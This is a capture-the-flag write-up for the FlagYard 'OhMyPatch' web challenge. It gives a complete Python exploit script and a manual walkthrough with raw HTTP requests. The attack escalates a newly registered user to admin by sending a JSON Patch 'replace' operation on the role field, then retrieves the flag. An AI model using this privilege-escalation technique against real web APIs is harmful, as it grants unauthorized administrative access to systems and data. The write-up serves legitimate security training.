Published on

FlagYard - OhMyPatch - Web

Authors

Solution

Automated Script

import requests
import json
import sys

# Base URL
# Change this to the target URL
base_url = "http://ab68ea671c85d953548ab.playat.flagyard.com"

# User Information
username_to_register = "newuser"
name_to_find = "JohnDoe"  # Change this to the desired user name

# Step 1: User Registration
register_url = f"{base_url}/register"
user_data = {
    "name": name_to_find,  # Use the name to find id
    "username": username_to_register,
    "password": "securepassword",
    "age": 25,
    "department": "IT"
}

print("[+] Registering user...")
register_response = requests.post(register_url, headers={
                                  "Content-Type": "application/json"}, data=json.dumps(user_data))

if register_response.status_code == 200:
    print("[+] User registered successfully.")
    response_json = register_response.json()
    # Fetch token from the correct key
    token = response_json.get("access_token")
    if token:
        print(f"[+] Token retrieved: {token}")
    else:
        print("[-] Token not found in the registration response.")
        print("Response:", response_json)
        sys.exit(1)
else:
    print(f"[-] Failed to register user. Status Code: {register_response.status_code}, Response: {register_response.text}")
    sys.exit(1)

# Step 2: Fetch all users to get user ID
users_url = f"{base_url}/users"  # Use the base URL
print("[+] Fetching all users...")

# Verify that the token is valid before using it
if len(token.split(".")) != 3:
    print(f"[-] Invalid JWT token format: {token}")
    sys.exit(1)

users_response = requests.get(
    users_url, headers={"Authorization": f"Bearer {token}"})

if users_response.status_code == 200:
    users_data = users_response.json()
    print(f"[+] Users fetched successfully: {users_data}")
else:
    print(f"[-] Failed to fetch users. Status Code: {users_response.status_code}, Response: {users_response.text}")
    sys.exit(1)

# Find our user by the "name" field
user_id = None
for user in users_data['users']:
    if user['name'] == name_to_find:
        user_id = user['id']
        break

if user_id is None:
    print(f"[-] Failed to find the user '{name_to_find}' in the users list.")
    sys.exit(1)
else:
    print(f"[+] Found user ID: {user_id}")

# Step 3: Privilege Escalation (Patch the found user ID to Admin)
patch_url = f"{base_url}/patch"  # Use the base URL
patch_data = [
    {
        "op": "replace",
        "path": f"/users/{user_id - 1}/role",
        "value": "admin"
    }
]

print(f"[+] Escalating privileges for user ID {user_id - 1} to admin...")
patch_response = requests.patch(patch_url, headers={
    "Content-Type": "application/json",
    "Authorization": f"Bearer {token}"
}, data=json.dumps(patch_data))

if patch_response.status_code == 200:
    print(f"[+] Privilege escalation successful: {patch_response.text}")
else:
    print(f"[-] Failed to escalate privileges. Status Code: {patch_response.status_code}, Response: {patch_response.text}")
    sys.exit(1)

# Step 4: Retrieve Flag
flag_url = f"{base_url}/flag"  # Use the base URL

print("[+] Attempting to retrieve flag...")
flag_response = requests.get(flag_url, headers={
    "Authorization": f"Bearer {token}",
    "Content-Type": "application/json"
})

if flag_response.status_code == 200:
    print(f"[+] Flag retrieved: {flag_response.text}")
else:
    print(f"[-] Failed to retrieve flag. Status Code: {flag_response.status_code}, Response: {flag_response.text}")
    sys.exit(1)

Manual Solution

We browse the site and find the following endpoints :

  • /register
  • /users
  • /

We try and find another endpoint

  • /flag

Now logically, we should be trying to register our own user first in order to login to the platform. Accessing the /register endpoint gives us 405 method not allowed. We check and see what methods are allowed using the OPTIONS method.

OPTIONS /register HTTP/1.1
Host: ab68ea671c85d953548ab.playat.flagyard.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: _ga_0E623T8GQZ=GS1.1.1729764638.36.1.1729765810.0.0.0; _ga=GA1.2.437942595.1726392353; _gid=GA1.2.1386013743.1729606679
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Here is the response :

HTTP/1.1 200 OK
Date: Thu, 24 Oct 2024 11:18:05 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Allow: POST, OPTIONS
Referrer-Policy: no-referrer

We can see the POST method is allowed, we can use this to register our own user.

POST /register HTTP/1.1
Host: ab68ea671c85d953548ab.playat.flagyard.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: _ga_0E623T8GQZ=GS1.1.1729764638.36.1.1729765810.0.0.0; _ga=GA1.2.437942595.1726392353; _gid=GA1.2.1386013743.1729606679
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 53

{
    "username": "test",
    "password": "test"
}

The server responds with :

HTTP/1.1 500 INTERNAL SERVER ERROR
Date: Thu, 24 Oct 2024 11:20:42 GMT
Content-Type: application/json
Content-Length: 32
Connection: keep-alive
Referrer-Policy: no-referrer

{"message":"An error occurred"}

After much testing we find out that the error is because we have not set the content-type header in our request. After doing that :

POST /register HTTP/1.1
Host: ab68ea671c85d953548ab.playat.flagyard.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Connection: keep-alive
Cookie: _ga_0E623T8GQZ=GS1.1.1729764638.36.1.1729765810.0.0.0; _ga=GA1.2.437942595.1726392353; _gid=GA1.2.1386013743.1729606679
Upgrade-Insecure-Requests: 1
Authorization: Bearer eyJpZCI6MCwibG9nZ2VkaW4iOnRydWUsInVzZXJuYW1lIjoiYW5vbiIsImFsZyI6IkhTMjU2In0.ZwLvv706.5PLjFAzetN6Tvia7BPiPvYphE8EthhAFAKkY6YRmaUE
Priority: u=0, i
Content-Length: 66

{ 
    "username":"newuser",
    "password": "securepassword"
}

We get the response :

HTTP/1.1 400 BAD REQUEST
Date: Thu, 24 Oct 2024 11:36:07 GMT
Content-Type: application/json
Content-Length: 34
Connection: keep-alive
Referrer-Policy: no-referrer

{"message":"Missing field: name"}

We add all the missing fields and successfully register our user.

POST /register HTTP/1.1
Host: ab68ea671c85d953548ab.playat.flagyard.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Connection: keep-alive
Cookie: _ga_0E623T8GQZ=GS1.1.1729764638.36.1.1729765810.0.0.0; _ga=GA1.2.437942595.1726392353; _gid=GA1.2.1386013743.1729606679
Upgrade-Insecure-Requests: 1
Authorization: Bearer eyJpZCI6MCwibG9nZ2VkaW4iOnRydWUsInVzZXJuYW1lIjoiYW5vbiIsImFsZyI6IkhTMjU2In0.ZwLvv706.5PLjFAzetN6Tvia7BPiPvYphE8EthhAFAKkY6YRmaUE
Priority: u=0, i
Content-Length: 128

{
    "name": "testuser", 
    "username":"test",
    "password": "testpassword",
    "age": 23,
    "department": "sec"
}

We obtain the access token :

HTTP/1.1 200 OK
Date: Thu, 24 Oct 2024 11:43:04 GMT
Content-Type: application/json
Content-Length: 384
Connection: keep-alive
Referrer-Policy: no-referrer

{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcyOTc3MDE4NCwianRpIjoiMjQyNDZmN2YtZWU0MC00NzAyLTkzYWItYmEzMjE3ODMwOTU4IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6NiwibmJmIjoxNzI5NzcwMTg0LCJjc3JmIjoiYTlhZTU0YWQtMTAwMy00ZjY1LWI4YWEtYTcyNzRlYjU1OGEyIiwiZXhwIjoxNzI5NzcxMDg0fQ.MAZV1FFaB7WA-753zK8dx0c34INA8xB-RO0noY3XuQg","message":"User registered successfully"}

Using the token we send a request to /users endpoint to see all the users registered :

GET /users HTTP/1.1
Host: ab68ea671c85d953548ab.playat.flagyard.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: _ga_0E623T8GQZ=GS1.1.1729764638.36.1.1729765810.0.0.0; _ga=GA1.2.437942595.1726392353; _gid=GA1.2.1386013743.1729606679
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcyOTc3MDE4NCwianRpIjoiMjQyNDZmN2YtZWU0MC00NzAyLTkzYWItYmEzMjE3ODMwOTU4IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6NiwibmJmIjoxNzI5NzcwMTg0LCJjc3JmIjoiYTlhZTU0YWQtMTAwMy00ZjY1LWI4YWEtYTcyNzRlYjU1OGEyIiwiZXhwIjoxNzI5NzcxMDg0fQ.MAZV1FFaB7WA-753zK8dx0c34INA8xB-RO0noY3XuQg
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Response :

HTTP/1.1 200 OK
Date: Thu, 24 Oct 2024 11:43:55 GMT
Content-Type: application/json
Content-Length: 430
Connection: keep-alive
Referrer-Policy: no-referrer

{"users":[{"age":35,"department":"Engineering","id":1,"name":"Alice","role":"user"},{"age":28,"department":"Marketing","id":2,"name":"Bob","role":"user"},{"age":40,"department":"Sales","id":3,"name":"Charlie","role":"user"},{"age":23,"department":"sec","id":6,"name":"testuser","role":"user"}]}

Now from the name of the challenge itself, its clear that it has something to do with PATCH. We find a /patch endpoint. We can use patch endpoint to escalate our privilege to admin user.

PATCH /patch HTTP/1.1
Host: a7a129633f142bc48d027.playat.flagyard.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcyOTk0NDI4OSwianRpIjoiZThkY2YzZjYtZDFjNS00Y2FkLTk2ODMtMGYwMzIzYjg4MDZjIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6NCwibmJmIjoxNzI5OTQ0Mjg5LCJjc3JmIjoiOTdiMDBkZjItZDkwMi00NDEyLTkzMjctZDM4ZjY3ZDMwZDk3IiwiZXhwIjoxNzI5OTQ1MTg5fQ.ivHZvue5Da1AXoeGdHYB8CsrnEvoNmPm2DxcrNUTTSE
Content-Type: application/json
Content-Length: 55

{"op":"replace","path":"/users/3/role","value":"admin"}

After this we can send a request to /flag endpoint to retrieve the flag.